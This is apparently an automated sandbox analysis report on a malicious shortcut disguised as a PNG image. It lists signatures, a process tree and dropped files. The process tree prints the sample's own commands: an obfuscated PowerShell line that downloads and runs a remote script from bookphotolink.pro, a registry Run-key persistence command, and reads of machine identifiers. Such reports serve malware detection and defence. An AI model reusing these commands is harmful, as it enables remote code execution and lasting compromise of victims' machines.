Analysis

  • max time kernel
    300s
  • max time network
    299s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/09/2026, 03:58

General

  • Target
    IMG_20260927_083613.png.lnk
  • Size 1KB
  • Sample260928-ejwxvsv1ez
  • SHA256 29bb7a8954070f39f6f7eeb350c4df48fb151296303e2178f5a46d2652e94b9d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 7 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260927_083613.png.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm ('{3}{5}{6}{8}{7}{4}{1}{2}{0}' -f 'o','.','pr','b','k','oo','k','olin','phot') | Invoke-Expression
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rep4fp3y\rep4fp3y.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6084
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9466.tmp" "c:\Users\Admin\AppData\Local\Temp\rep4fp3y\CSC99736278351E4C60A119626738A1DFFD.TMP"
          4⤵
            PID:3032
        • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
          "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\kSPloXwu.js bookphotolink.pro
          3⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:4588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
            4⤵
            • Enumerates connected drives
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"6e5fcec5-3a02-4561-93ad-3f634f83a122\").\"6e5fcec5-3a02-4561-93ad-3f634f83a122\""
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            PID:5728
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\kSPloXwu.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"6e5fcec5-3a02-4561-93ad-3f634f83a122\" -Value $command"
            4⤵
            • Adds Run key to start application
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            PID:4032
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
            4⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            PID:3360
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
            4⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            PID:5972
    • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\kSPloXwu.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4592
      • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
        C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\kSPloXwu.js
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
          3⤵
          • Enumerates connected drives
          • Suspicious use of AdjustPrivilegeToken
          PID:2412

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 848c5f4546807462a33f21b7f6d9f5700ba652460e91c5c065677eb58355bec0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 627f8ccde5d1fbba65fb76c9e1bb3fac9f74ce821aa0d809cb66434f817df128
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 8c3dcacb14d56069e4aa2ba0bc23a1b97e06abdfd2a4cb692d8bc29b535cf823
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 0ef0fda819b404c5d41bdc957a0c31fd539ec323c58fa7fb182e3fa39ac099e2
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 33cf5b77be962c1121404da98638346eaa2286b64e45ae71e3cb5e95671b000d
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          kSPloXwu.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\kSPloXwu.js
          • Size 506KB
          • SHA256 1507b22622f608147e2c185dc9911d75d5ed2caa5987c376bde18837a6924547
          • MD5 SHA1 SHA512 SSDEEP TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fetch.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
          • Size 780B
          • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
          • Size 730B
          • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\LICENSE.md
          • Size 1KB
          • SHA256 865576de51d520f97c8869b9b9f96caf8efd69b82bb6e575fc00b0964dc7a3ca
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\node\index.js
          • Size 63KB
          • SHA256 67c2ab3772f59cc5bf6d9189d30ccde8c69e3232d73df112c870f97ddcb1cde3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\perf.js
          • Size 387B
          • SHA256 1f9679cef504a1a95194a3bac8568fccdb0a14c5d95d0ec3e218e56f90e04f0e
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\node\index.js
          • Size 62KB
          • SHA256 19607b52ac6a5a9188b4fa277713ae83fb51c7ff495e9d4ad590f934d6dc3925
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\perf.js
          • Size 282B
          • SHA256 c8820ab2b15d38202751a9c76b6efe767acbbe89d37fd6f3cc4cc1163cb724b4
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\npm-pick-manifest\LICENSE.md
          • Size 771B
          • SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
          • Size 763B
          • SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\socks-proxy-agent\LICENSE
          • Size 1KB
          • SHA256 22427a9ca2a0ff9c27dde9e26fe6e940529aee030b342a70b435366af0fcc51b
          • MD5 SHA1 SHA512 TLSH

          license

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\supports-color\license
          • Size 1KB
          • SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\treeverse\LICENSE
          • Size 771B
          • SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\tuf-js\LICENSE
          • Size 1KB
          • SHA256 6ba2fb4cc004819b1d872168a7ba6ac4a5a07400366680750321058fe21dd36b
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\yallist\LICENSE.md
          • Size 1KB
          • SHA256 a638a0768dbec922fd821d0b6cce6275231c4b57cfcddf584defce530fbfbbf5
          • MD5 SHA1 SHA512 TLSH

          RES9466.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES9466.tmp
          • Size 1KB
          • SHA256 4b4c70c35ebd812b8aa4def0dd20b9941432c360a7485c6d84a88f7d65e1b04e
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_1025i12c.23s.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1025i12c.23s.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          rep4fp3y.dll

          • Path C:\Users\Admin\AppData\Local\Temp\rep4fp3y\rep4fp3y.dll
          • Size 3KB
          • SHA256 03c25f558ef245c3ffff6c7794ae2406e072c4523d7fdb06eca778b2a60ed048
          • MD5 SHA1 SHA512 TLSH

          CSC99736278351E4C60A119626738A1DFFD.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rep4fp3y\CSC99736278351E4C60A119626738A1DFFD.TMP
          • Size 652B
          • SHA256 ca19d5d14dc1688eccf6fc751971a50ae37a3497c69ae8a0eeb144c116d20560
          • MD5 SHA1 SHA512 TLSH

          rep4fp3y.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rep4fp3y\rep4fp3y.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          rep4fp3y.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rep4fp3y\rep4fp3y.cmdline
          • Size 369B
          • SHA256 4b0cef918e04f7d2838b0a5c41f29d2b8111461eece564b23bb60546f651d86e
          • MD5 SHA1 SHA512 TLSH

          memory/1504-17-0x000001B43D290000-0x000001B43D452000-memory.dmp

          memory/1504-7-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-43-0x000001B43D100000-0x000001B43D1B2000-memory.dmp

          memory/1504-42-0x000001B43D0E0000-0x000001B43D0FE000-memory.dmp

          memory/1504-37-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-36-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-35-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-34-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-33-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-32-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-30-0x000001B43CC10000-0x000001B43CC18000-memory.dmp

          memory/1504-16-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-44-0x000001B43D0D0000-0x000001B43D0DA000-memory.dmp

          memory/1504-45-0x000001B43D0E0000-0x000001B43D0F2000-memory.dmp

          memory/1504-2-0x00007FF832A5F000-0x00007FF832A60000-memory.dmp

          memory/1504-15-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-14-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-13-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-3916-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-12-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-11-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-10-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-9-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-8-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

          memory/1504-46-0x000001B43D0D0000-0x000001B43D0DA000-memory.dmp

          memory/1504-6-0x000001B43CC40000-0x000001B43CC62000-memory.dmp

          memory/1504-5-0x00007FF8328D0000-0x00007FF833274000-memory.dmp